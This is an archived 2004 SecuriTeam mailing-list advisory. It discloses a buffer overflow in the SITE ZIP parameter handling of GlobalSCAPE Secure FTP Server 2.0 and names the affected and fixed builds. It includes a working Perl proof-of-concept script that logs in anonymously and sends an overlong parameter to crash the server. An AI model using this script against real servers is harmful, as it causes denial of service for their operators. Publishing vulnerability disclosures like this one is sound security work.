

[NT] GlobalSCAPE Secure FTP Server Buffer Overflow (Parameter Handling)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-03/0049.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/17/04

To: list@securiteam.com

Date: 17 Mar 2004 18:20:55 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

GlobalSCAPE Secure FTP Server Buffer Overflow (Parameter Handling)

SUMMARY

A vulnerability in GlobalSCAPE Secure FTP Server allows a user issuing a long parameter (around 252 bytes) as a value for a SITE command, to cause the server to try and write to a value that is outside the memory location of the Secure FTP Server's memory. This in will cause an exception to be triggered (an un-handled exception), which causes the program to crash.

DETAILS

Vulnerable Systems:

- * GlobalSCAPE Secure FTP Server version 2.0 Build 03.11.2004.2

Immune Systems:

- * GlobalSCAPE Secure FTP Server version 2.0 Build 03.16.2004.1

Exploit:

To demonstrate this issue we will use the SITE ZIP command, even though SITE ZIP isn't a supported command, and will use SITE ZIP's parameter "/d:" provided after that command gets parsed, which causes the vulnerability.

Securiteam: [NT] GlobalSCAPE Secure FTP Server Buffer Overflow (Parameter Handling)

```
#!/usr/bin/perl

use IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "2117");

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
    print $_;
    if (/220 /)
    {
        last;
    }
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
    print $_;
    if (/331 /)
    {
        last;
    }
}

$ftp = join("", "PASS ", "a@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
    print $_;
    if (/230 /)
    {
        last;
    }
}
```

Securiteam: [NT] GlobalSCAPE Secure FTP Server Buffer Overflow (Parameter Handling)

```
$ftp = join ("", "SITE ZIP /d:", "A"x(252), "\r\n");
```

```
print $remote $ftp;  
print $ftp;  
sleep(1);
```

```
while (<$remote>)  
{  
  print $_;  
  if (/250 Done/)  
  {  
    last;  
  }  
}
```

```
close $remote;
```

ADDITIONAL INFORMATION

SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for finding this vulnerability.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.